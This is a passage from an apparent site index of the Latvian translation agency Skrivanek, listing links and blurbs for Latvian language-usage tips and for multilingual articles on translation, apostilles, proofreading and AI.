impact on civilian and commercial sectors. Get to know international and Latvian companies. - [Pie tevīm vai Pie tevis](https://skrivanek.lv/pie-tevim-vai-pie-tevis/): Pie tevīm vai pie tevis/pie manis vai pie tevīm – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Akardions, akardeons vai akordeons](https://skrivanek.lv/akardions-akardeons-vai-akordeons/): Akardions, akardeons vai akordeons – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Militārais alfabēts](https://skrivanek.lv/militarais-alfabets/): Iepazīstiet militārās saziņas precizitāti. Apgūstiet militāro fonētisko alfabētu ar mūsu špikera palīdzību, sākot no Alpha līdz Žiguri. - [Military alphabet](https://skrivanek.lv/militarais-alfabets/): Explore the precision of military communication with our military phonetic alphabet cheat sheet. Learn the alphabet from Alpha to Zulu. - [Vai dokumentos, rakstot datumu datorrakstā, pēc punkta ir liekama atstarpe?](https://skrivanek.lv/vai-dokumentos-rakstot-datumu-datorraksta-pec-punkta-ir-liekama-atstarpe/): Vai dokumentos, rakstot datumu datorrakstā, pēc punkta ir liekama atstarpe? Noderīgi latviešu valodas padomi vienuviet! - [Tēmeklis vai tēmēklis](https://skrivanek.lv/temeklis-vai-temeklis/): Tēmeklis vai tēmēklis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Laima slimība vai Laimas slimība](https://skrivanek.lv/laima-slimiba-vai-laimas-slimiba/): Laima slimība vai Laimas slimība – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Diploms izdots Rīgā 2024. gada 11. jūnijā vai diploms izdots Rīgā, 2024. gada 11. jūnijā](https://skrivanek.lv/diploms-izdots-riga-2024-gada-11-junija-vai-diploms-izdots-riga-2024-gada-11-junija/): Kā būtu pareizi rakstīt diploma izdošanas datumu un vietu? Diploms izdots Rīgā 2024. gadā vai diploms izdots Rīgā, 2024. gadā? Citi padomi - [Vizēt vai vīzēt](https://skrivanek.lv/vizet-vai-vizet/): Vizēt vai vīzēt - kāda ir atšķirība? Ieskaties šeit, lai uzzinātu pareizo atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. - [Iet ar kājām vai iet kājām](https://skrivanek.lv/iet-ar-kajam-vai-iet-kajam/): Iet kājām vai iet ar kājām – kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Koeficients vai koeficents](https://skrivanek.lv/koeficients-vai-koeficents/): Koeficients vai koeficents? Kā pareizi raksta šo terminu? ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Šerbets vai šerberts](https://skrivanek.lv/serbets-vai-serberts/): Šerbets vai šerberts? Kā ir pareizi? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Sokrats vai Sokrāts](https://skrivanek.lv/sokrats-vai-sokrats/): Vai sengrieķi filozofs ir Sokrats vai Sokrāts? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Ritenis vai velosipēds?](https://skrivanek.lv/ritenis-vai-velosipeds/): Es braucu uz darbu ar riteni vai velosipēdu? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Šļirce vai šprice vai širce](https://skrivanek.lv/slirce-vai-sprice-vai-sirce/): Mazi bērni ļoti nobīstas, ieraugot šļirci vai šprici? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Risa vai rise](https://skrivanek.lv/risa-vai-rise/): Ceļš pilns ar risēm vai risām? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Paretam vai pa retam](https://skrivanek.lv/paretam-vai-pa-retam/): Paretam vai pa retam? Kāda ir atšķirība? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Hematogens vai hematogēns](https://skrivanek.lv/hematogens-vai-hematogens/): Hematogens vai hematogēns - kā pareizi rakstīt šo vārdu? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Injicēt vai injecēt](https://skrivanek.lv/injicet-vai-injecet/): Vai vakcīnu mums injicē vai injecē? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Jeruzaleme vai Jeruzāleme](https://skrivanek.lv/jeruzaleme-vai-jeruzaleme/): Kāds ir senās izraēlas pilsētas nosaukums - Jeruzāleme vai Jeruzaleme? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Sprands vai spranda](https://skrivanek.lv/sprands-vai-spranda/): Stīvs sprands vai stīva spranda? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Adapters vai adapteris](https://skrivanek.lv/adapters-vai-adapteris/): Adapters vai adapteris? Kā ir pareizi? Ieskaties! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Paviljons vai pavilijons](https://skrivanek.lv/paviljons-vai-pavilijons/): Paviljons vai pavilijons - kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Načo vai načos](https://skrivanek.lv/naco-vai-nacos/): Karstā laikā labi ies pie sirds gardi pagatavoti načo vai načos? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi padomi vienuviet! - [Šarm es Šeiha vai Šarm el Šeiha vai Šarmelšeiha](https://skrivanek.lv/sarm-es-seiha-vai-sarm-el-seiha-vai-sarmelseiha/): Kā pareizi sauksim vienu no Ēģiptes iecienītākajām kūrortpilsētām? Par Šarm el Šeihu, Šarmelšeihu, vai tomēr Šarm es Šeihu? - [Argana eļļa vai aragana eļļa vai argāna eļļa vai aragāneļļa](https://skrivanek.lv/argana-ella-vai-aragana-ella-vai-argana-ella-vai-araganella/): Pēc peldēšanās sāļajā jūrā matiem noderētu argana eļļa vai aragana eļļa vai argāna eļļa vai aragāneļļa? Ieskaties un uzzini pareizo atbildi! - [Līčes vai līčijas](https://skrivanek.lv/lices-vai-licijas/): Vai tas sārtais, kastanim līdzīgais auglis ir līčija vai līče? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Ar cieņu Ilze vai ar cieņu, Ilze](https://skrivanek.lv/ar-cienu-ilze-vai-ar-cienu-ilze/): Pabeidzot vēstuli, komats pēc vārdu savienojuma “ar cieņu” vai “cieņā” nav jāliek. Ieskaties šeit un uzzini pamatojumu. - [Vēstnieks vai vēstnesis](https://skrivanek.lv/vestnieks-vai-vestnesis/): Akreditācijas vēstuli karalienei Elizabetei II iesniegs jaunais Latvijas vēstnieks vai vēstnesis? Uzzini pareizo atbildi šeit! - [Unikums vai ūnikums. Unikāls vai ūnikāls](https://skrivanek.lv/unikums-vai-unikums-unikals-vai-unikals/): Vai šī glezna ir unikums vai ūnikums? Vai tas ir unikāls vai ūnikāls gadījums pasaules vēsturē? Ieskaties un uzzini pareizo atbildi! - [Daudzmaz vai daudz maz](https://skrivanek.lv/daudzmaz-vai-daudz-maz/): Vai jaunieši šobrīd ir daudzmaz vai daudz maz gatavi jaunajam izaicinājumam? Ieskaties, lai uzzinātu atbildi. Šis un citi valodas padomi. - [Etioloģija vai etoloģija](https://skrivanek.lv/etiologija-vai-etologija/): Seminārā tiks aplūkota slimību etoloģija vai etioloģija? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet. - [Bruņurupucis vai bruņrupucis](https://skrivanek.lv/brunurupucis-vai-brunrupucis/): Zaiga jau kopš pirmās klases sapņo par bruņurupuci vai bruņrupuci? Kā ir pareizi? Ieskaties šeit un uzzini! Šis un citi noderīgi padomi! - [Termināls vai terminālis](https://skrivanek.lv/terminals-vai-terminalis/): Ostā ierīkots jauns termināls vai terminālis? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet. - [Kekss vai kēkss](https://skrivanek.lv/kekss-vai-kekss/): Kā ir pareizi - "kekss" vai "kēkss"? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Nolādēt vai lejupielādēt vai lejuplādēt](https://skrivanek.lv/noladet-vai-lejupieladet-vai-lejupladet/): Dokumentu var nolādēt, lejupielādēt vai lejuplādēt? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi latviešu valodas padomi vienuviet! - [Kolorādo vabole vai Kolorado vabole](https://skrivanek.lv/kolorado-vabole-vai-kolorado-vabole/): Kartupeļu lauku pārņēmušas Kolorādo vai Kolorado vaboles? Ieksaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi vienuviet! - [Tortilla vai tortilja vai tortiļa](https://skrivanek.lv/tortilla-vai-tortilja-vai-tortila/): Tortilla vai tortilja vai tortiļa - kā ir pareizi? Ieskaties šeit! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Repers vai reperis](https://skrivanek.lv/repers-vai-reperis/): Reperis vai repers - kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Mājaslapa vai tīmekļa vietne](https://skrivanek.lv/majaslapa-vai-timekla-vietne/): Mājaslapa vai tīmekļa vietne? Kāda ir atšķirība? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Ārkārtas vai ārkārtējā situācija](https://skrivanek.lv/arkartas-vai-arkarteja-situacija/): Ārkārtas vai ārkārtējā situācija - kāda ir atšķirība? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Plankums vai pleķis](https://skrivanek.lv/plankums-vai-plekis/): Uz sienas izveidojies neglīts pleķis vai plankums? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Pārskats vai atskaite](https://skrivanek.lv/parskats-vai-atskaite/): Rīt jānodod projekta atskaites vai pārskati? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - [Zobu suka vai zobu birste](https://skrivanek.lv/zobu-suka-vai-zobu-birste/): Zobu suka vai zobu birste? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Vairākkārtējs vai vairākkārtīgs](https://skrivanek.lv/vairakkartejs-vai-vairakkartigs/): Šī sejas maska ir vairākkārtēji vai vairākkārtīgi lietojama? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Plastalīns vai plastilīns](https://skrivanek.lv/plastalins-vai-plastilins/): Šis plastilīns vai plastalīns ir kļuvis nelietojams? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - [Barbekjū vai bārbekjū](https://skrivanek.lv/barbekju-vai-barbekju/): Šovakar gatavosim bārbekjū vai barbekjū? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - [Benzīntanks vai degvielas uzpildes stacija](https://skrivanek.lv/benzintanks-vai-degvielas-uzpildes-stacija/): Benzīntanks vai degvielas uzpildes stacija? Kā ir pareizi? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Klaviatūra vai tastatūra](https://skrivanek.lv/klaviatura-vai-tastatura/): Datoram ir klaviatūra vai tastatūra? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudi citi noderīgi latviešu valodas padomi vienuviet! - [Links vai saite](https://skrivanek.lv/links-vai-saite/): Vai varu palūgt saiti vai linku uz šo tīmekļa vietni? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - [Vārda diena vai vārdadiena](https://skrivanek.lv/varda-diena-vai-vardadiena/): Jāpalūkojas kalendārā, kad Pēteriem vārdadiena vai vārda diena? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi! - [Kāpnes vai trepes](https://skrivanek.lv/kapnes-vai-trepes/): Otrajā stāvā var uzkāpt pa trepēm vai pa kāpnēm? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - [Lielie valodu modeļi](https://skrivanek.lv/lielie-valodu-modeli/): Lielie valodu modeļi (LVM) – saprot, ģenerē un tulko tekstu ar milzīgu datu apjomu. Sazinies ar Skrivanek un uzzini, kā varam palīdzēt! - [Kā uzrunāt cilvēkus ar diviem vārdiem](https://skrivanek.lv/ka-uzrunat-cilvekus-ar-diviem-vardiem/): Kā uzrunāt cilvēkus ar diviem vārdiem? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - [Komandants vai komendants](https://skrivanek.lv/komandants-vai-komendants/): Sliežu ielas kopmītnēs, kā runā, varen kašķīgs komandants esot… Bet varbūt kašķīgs komendants? Ieskaties šeit, lai uzzinātu pareizo atbildi! - [Uzstādīt mērķi vai izvirzīt mērķi](https://skrivanek.lv/uzstadit-merki-vai-izvirzit-merki/): Vecgada vakarā mēs uzstādāmvai izvirzām nākamajam gadam? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - [Koordināta vai koordināte](https://skrivanek.lv/koordinata-vai-koordinate/): Koordināta vai koordināte - kāda ir atsķirība? Ieskaties šeit un uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Gvajakas eļļa vai gvajaka koka eļļa vai guajaka eļļa](https://skrivanek.lv/gvajakas-ella-vai-gvajaka-koka-ella-vai-guajaka-ella/): Vai šī kosmētikas līdzekļa sastāvā ir gvajaka koka eļļa, gvajakas eļļa vai guajaka eļļa? Ieskaties šeit un uzzini pareizo atbildi! - [Optimāls vai optimālākais vai visoptimālākais](https://skrivanek.lv/optimals-vai-optimalakais-vai-visoptimalakais/): Valdība atrada visoptimālāko risinājumu ekonomiskajai krīzei. Vai arī optimālāko? Vai tikai optimālu? Ieskaties, lai uzzinātu atbildi! - [Visapkārt pasaulei vai visā pasaulē](https://skrivanek.lv/visapkart-pasaulei-vai-visa-pasaule/): Zaļā enerģija kļūst populāra visapkārt pasaulei. Vai arī – visā pasaulē? Ieskaties šeit un uzzini pareizo atbildi! - [Aizskartās mantas īpašnieks vai aizskartais mantas īpašnieks](https://skrivanek.lv/aizskartas-mantas-ipasnieks-vai-aizskartais-mantas-ipasnieks/): Aizskartās vai aizskartais mantas īpašnieks - ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - [Rigsdags vai Riksdags](https://skrivanek.lv/rigsdags-vai-riksdags/): Kā tad ir pareizi – Riksdags vai Rigsdags? Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - [Tādžins, tadžins vai tādžina, tadžina](https://skrivanek.lv/tadzins-tadzins-vai-tadzina-tadzina/): Vai tradicionālo Magribas valstu ēdienu un māla trauku tā pagatavošanai sauksim - tādžins, tadžins vai tādžina, tadžina? Ieskaties šeit! - [Ziemassvētki vai Ziemsvētki vai ziemassvētki](https://skrivanek.lv/ziemassvetki-vai-ziemsvetki/): Vislielāko prieku Ziemassvētki sagādā bērniem. Vai varbūt – Ziemsvētki? Ieskaties šeit, lai uzzinātu pareizo atbildi! - [Apsūdzamais vai apsūdzētais](https://skrivanek.lv/apsudzamais-vai-apsudzetais/): Tiesas sēdē apsūdzētais vēl pēdējā vārdā noliedza savu vainu. Vai — apsūdzamais? Šis un daudzi citi noderīgi latviešu valodas padomi! - [Ranča vai rančo](https://skrivanek.lv/ranca-vai-ranco/): Vectēvs sapņoja, ka viņam kādreiz būs savs rančo. Vai – būs sava ranča? Kā ir pareizi? Ieskaties šeit, lai uzzinātu pareizo atbildi! - [Darbspējas vecums vai darbspējīgs vecums](https://skrivanek.lv/darbspejas-vecums-vai-darbspejigs-vecums/): Vai pensionēšanās vecums ir tas pats, kas darbspējas vecums? Vai – darbspējīgs vecums? Ieskaties šeit, lai uzzinātu pareizo atbildi! - [Ibiza vai Ivisa vai Eivisa](https://skrivanek.lv/ibiza-vai-ivisa-vai-eivisa/): Vai jūsu ceļojuma galamērķis ir Ibiza vai Eivisa? Vai Ivisa? Ieskaties šeit, lai uzzinātu kā ir pareizi! Šis un citi valodas padomi. - [Bezē cepumi vai bizē cepumi](https://skrivanek.lv/beze-cepumi-vai-bize-cepumi/): Iešu cept bizē cepumus. Vai – bezē cepumus? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Atjaunīgie energoresursi vai atjaunojamie energoresursi](https://skrivanek.lv/atjaunigie-energoresursi-vai-atjaunojamie-energoresursi/): Kādas ir Jūrmalas perspektīvas atjaunojamo energoresursu ieviešanā? Vai — atjaunīgo energoresursu? Ieskaties šeit, lai uzzinātu atbildi! - [Poliesters vai poliesteris](https://skrivanek.lv/poliesters-vai-poliesteris/): Gandrīz visām ziemas jakām auduma sastāvā ir 100% poliesters vai poliesteris? Ieskaties, šis un daudzi citi latviešu valodas padomi! - [Kakadu vai kakadū](https://skrivanek.lv/kakadu-vai-kakadu/): Brīvdienu ceļojumā noteikti gribētu ieraudzīt kakadu. Vai kakadū? Šis un daudzi citi latviešu valodas padomi vienuviet! - [Talmuds vai Talmūds](https://skrivanek.lv/talmuds/): Cik gan daudz noderīga mums vēsta Talmuds. Vai Talmūds? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - [Maģistratūra vai maģistrantūra](https://skrivanek.lv/magistratura-vai-magistrantura/): Vai studēt maģistrantūrā? Vai maģistratūrā? Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi latviešu valodas padomi! - [Atslēgvārdi vai atslēgas vārdi](https://skrivanek.lv/atslegvardi-vai-atslegas-vardi/): Atslēgvārdi vai atslēgas vārdi? Kurš variants ir pareizs? Ieskaties šeit. Šis un daudzi citi latviešu valodas padomi vienuviet! - [Slēdziens vai secinājums](https://skrivanek.lv/sledziens-vai-secinajums/): Kurš ir pareizi - slēdziens vai secinājums? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - [Man ir tas gods vai man ir gods](https://skrivanek.lv/man-ir-tas-gods-vai-man-ir-gods/): Ieskaties šeit, lai uzzinātu pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - [Tas ir kas jauks vai tas ir, kas jauks](https://skrivanek.lv/tas-ir-kas-jauks-vai-tas-ir-kas-jauks/): Vai šeit pirms vietniekvārda "kas” ir jāliek komats? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - [Attiecībā uz vai par](https://skrivanek.lv/attieciba-uz-vai-par/): Kad lieto “attiecībā uz” un, kad "par"? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Probiotikas vai prebiotikas](https://skrivanek.lv/probiotikas-vai-prebiotikas/): Probiotikas, prebiotikas un postbiotikas - kāda ir atšķirīa? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet. - [Viens otram vai cits citam](https://skrivanek.lv/viens-otram-vai-cits-citam/): Koristi pasniedza nošu mapes viens otram – varbūt cits citam? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - [Sākt darbu vai uzsākt darbu](https://skrivanek.lv/sakt-darbu-vai-uzsakt-darbu/): Sasparojušies strādnieki beidzot uzsāka darbu vai sāka darbu? Ieskaties, lai uzzinātu pareizo atbildi! Šis un daudzi citi valodas padomi! - [Ne velti pret ne par velti pret ne veltīgi](https://skrivanek.lv/ne-velti-pret-ne-par-velti-pret-ne-veltigi/): Pēc nozīmes ir šķiramas trīs “veltās izteiksmes”: ne velti, ne par velti, ne veltīgi. Kāda ir atšķirība? Uzzini atbildi šeit! - [Rētas vai brūces](https://skrivanek.lv/retas-vai-bruces/): Rētas vai brūces - kāda ir atšķirība? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - [Latviešu valoda](https://skrivanek.lv/latviesu-valoda/): Vai valodu nosaukumus raksta ar lielo vai mazo sākumburtu? Uzzini pareizo atbildi šeit! Šis un daudzi citi latviešu valodas padomi vienuviet! - [“Jauku dienu vēlot” vai “Jauku dienu vēlot,” vai “Ar sveicieniem” vai “Ar sveicieniem,”](https://skrivanek.lv/jauku-dienu-velot-vai-jauku-dienu-velot-vai-ar-sveicieniem-vai-ar-sveicieniem/): Vai pēc atvadu frāzes "jauku dienu vēlot" vai "ar sveicieniem" ir liekams komats? Šis un citi noderīgi latviešu valodas padomi vienuviet! - [“Labdien, Agij” vai “Labdien, Agija” vai “Labdien, Agij!”](https://skrivanek.lv/labdien-agij-vai-labdien-agija-vai-labdien-agij/): Kā pareizi rakstīt uzrunu e-pastos? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - [Starptautiskā Teātra diena vai Starptautiskā teātra diena](https://skrivanek.lv/starptautiska-teatra-diena/): Kā rakstīt svētku un atceres dienu nosaukumus? Šis un daudzi citi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - [Что такое апостиль?](https://skrivanek.lv/kas-ir-apostille/): Как происходит легализация документов с апостилем? Что такое апостиль? Какие документы требуют его проставления? Узнайте ответы! - [Ar šo vēlos darīt zināmu vai informēju](https://skrivanek.lv/ar-so-velos-darit-zinamu-vai-informeju/): Ar šo vēlos darīt zināmu, ka sācies jauns posms mūsu sadarbībā. Vai tā būs pareizi? Ieskaties un uzzini pareizo atbildi! - [Uz ielas vai ielā](https://skrivanek.lv/uz-ielas-vai-iela/): Es dzīvoju uz Lāčplēša ielas vai Lāčplēša ielā? Kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi! - [4100 klienti vai 4100 klientu](https://skrivanek.lv/4100-klienti-vai-4100-klientu/): Šogad mūs apmeklēja 4100 klienti vai šogad mūs apmeklēja 4100 klientu? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi. - [Miljards vai miļjards vai biljons](https://skrivanek.lv/miljards-vai-miljards-vai-biljons/): Miljards, miļjards vai varbūt biljons? Kā ir pareizi? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - [Videospēļu termini un to skaidrojumi](https://skrivanek.lv/videospelu-termini-un-to-skaidrojumi/): Esam izveidojuši īsu videospēļu terminu skaidrojošo vārdnīcu. Ieskaties, jo īpaši, ja videospēļu spēlēšana ir tavs hobijs! - [Cos’è la ricerca di parole chiave? Come attirare il pubblico online?](https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/): È importante ricercare le parole chiave quando si crea un sito web o una campagna di marketing. Gli specialisti SEO di Skrivanek eseguono la ricerca delle parole chiave e l'ottimizzazione del sito web. - [Che cos’è l’UX? E l’UI?](https://skrivanek.lv/kas-ir-ux-un-kas-ir-ui/): Cos'è l'UX o esperienza utente? Che cos'è la UI o interfaccia utente? Qual è la differenza tra UX e UI? Come possiamo aiutarvi? - [Cosa è cosa? Internazionalizzazione (i18n). Localizzazione (l10n). Globalizzazione (g11n). Localizzabilità (l12y)](https://skrivanek.lv/kas-ir-kas-internationalization-i18n-localization-l10n-globalization-g11n-un-localizability-l12y/): Cosa sono internazionalizzazione, localizzazione, globalizzazione e localizzabilità? Vale la pena di leggere per evitare di essere confusi da questi termini di traduzione. - [Che cos’è la correzione di bozze e quando si usa?](https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/): Qual è la differenza tra correzione di bozze ed editing? Quando è necessaria la correzione di bozze e quali sono gli errori che un revisore corregge. - [Traduzione - perché affidarsi a dei professionisti?](https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/): Che cos'è la traduzione? Quali servizi di traduzione offrono le agenzie di traduzione e come scegliere un fornitore di traduzioni? - [Che cos'è un'apostilla?](https://skrivanek.lv/kas-ir-apostille/): Come vengono legalizzati i documenti con l'Apostilla? Che cos'è un'Apostilla? Quali documenti la richiedono? Scoprite le risposte in questo articolo! - [Quando è che è necessaria una traduzione autenticata da un notaio?](https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/): Che cos'è una traduzione autenticata? Per quali documenti e in quali casi è necessaria? Scopritelo in questo articolo! - [Che cos’è l’intelligenza artificiale?](https://skrivanek.lv/kas-ir-maksligais-intelekts/): Cos'è l'intelligenza artificiale e cosa può fare? Quali sono i miti sull'IA e le sue prospettive future? Leggete questo articolo! - [Come scegliere un’agenzia di traduzione](https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/): Ci sono molte agenzie di traduzione tra cui scegliere, leggete questo articolo per scoprire cosa cercare quando si sceglie quella giusta. - [Kā videospēļu lokalizācija var uzlabot pārdošanas rādītājus?](https://skrivanek.lv/ka-videospelu-lokalizacija-var-uzlabot-pardosanas-raditajus/): Investējot videospēļu lokalizācijā, spēļu izstrādātāji paplašina savu tirgu, palielina spēlētāju daudzveidību un uzlabo pārdošanas apjomu. - [Dēļ tevis pret tevis dēļ](https://skrivanek.lv/del-tevis-pret-tevis-del/): Dēļ tevis es nokavēju autobusu vai tevis dēļ es nokavēju autobusu. Kā būs pareizi? Šis un daudzi citi latviešu valodas padomi vienuviet! - [Mākslīgais intelekts – palīgs tulkošanai, taču ne aizstājējs](https://skrivanek.lv/maksligais-intelekts-paligs-tulkosanai-tacu-ne-aizstajejs/): Iepazīsti Skrivanek atziņas par mākslīgo intelektu tulkošanā – potenciālu, riskus un to, kāpēc cilvēka iesaiste joprojām ir ļoti svarīga. - [Unikālas un interesantas Ziemassvētku tradīcijas no 12 pasaules valstīm](https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/): Ne visur Ziemassvētkos rotā eglītes, saņem dāvanas un ciemos nāk Ziemassvētku vecītis. Apkopojām interesantas Ziemassvētku tradīcijas no visas pasaules. - [Unique and interesting Christmas traditions from 12 countries around the world](https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/): Not everyone decorates Christmas trees, gives gifts, and expects Santa Claus to visit. We've compiled some interesting Christmas traditions from around the world. - [Intervija ar Skrivanek praktikanti Jelizavetu Slobodjaņiku no Vācijas](https://skrivanek.lv/intervija-ar-skrivanek-praktikanti-jelizavetu-slobodjaniku-no-vacijas/): Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par viņas izaicinājumiem Latvijā un gūto pieredzi. - [Intervija ar praktikanti Dzjindžu Džu](https://skrivanek.lv/intervija-ar-praktikanti-dzjindzu-dzu/): Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par viņas izaicinājumiem Latvijā un gūto pieredzi. - [Intervija ar praktikantu Lorenco Pellegrīni](https://skrivanek.lv/intervija-ar-praktikantu-lorenco-pellegrini/): Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par Lorenco izaicinājumiem Latvijā un gūto pieredzi. - [Artificial intelligence](https://skrivanek.lv/kas-ir-maksligais-intelekts/): What is artificial Intelligence and what can it do? What are the myths about AI and its future prospects? Read this article! - [What is proofreading and when to use it?](https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/): What is the difference between proofreading and editing? When proofreading is needed and what mistakes a proofreader corrects. Find out! - [When do you need a notarised translation?](https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/): What is a notarised translation? For which documents and in which cases is it necessary? Find out in this article! - [How to choose a translation agency](https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/): There are a lot of translation agencies to choose from, read this article to find out what to look for when choosing the right one. - [What is an Apostille?](https://skrivanek.lv/kas-ir-apostille/): How are documents legalised with an Apostille? What is an Apostille? What documents require it? Find out the answers in this article! - [Translation – why leave it to the professionals?](https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/): What is translation? What translation services do translation agencies provide and how do I choose a translation provider? Read here! - [Kā izvēlēties tulkošanas biroju](https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/): Tulkošanas biroju klāsts ir ļoti plašs, kam pievērst uzmanību, izvēloties tulkošanas biroju ilgtermiņa sadarbībai lasiet šajā rakstā. - [Kas ir apostille?](https://skrivanek.lv/kas-ir-apostille/): Kā noris dokumentu legalizēšana ar apostilli? Kas ir apostille? Kādiem dokumentiem tā ir nepieciešama? Uzzini atbildes šajā rakstā! - [Tulkošana – kādēļ to uzticēt profesionāļiem](https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/): Kas ir tulkošana? Kādus tulkošanas pakalpojumus nodrošina tulkošanas biroji un kā izvēlēties tulkošanas pakalpojumu sniedzēju? Lasi šeit! - [Kas ir mākslīgais intelekts?](https://skrivanek.lv/kas-ir-maksligais-intelekts/): Kas ir mākslīgais intelekts un tā sniegtās iespējas? Kādi ir mīti par mākslīgo intelektu un tā nākotnes perspektīva? Lasi šajā rakstā! - [Kas ir teksta korektūra un kad to izmantot?](https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/): Ar ko atšķiras teksta korektūra no redaktūras? Kādos gadījumos nepieciešama korekūra un kādas kļūdas labo korektors, lasi šajā rakstā! - [Kādos gadījumos nepieciešams notariāli apliecināts tulkojums?](https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/): Kas ir notariāli apliecināts tulkojums? Kādiem dokumentiem un kādos gadījumos tas ir nepieciešams? Uzzini šajā rakstā! - [poļu latviešu un latviešu poļu 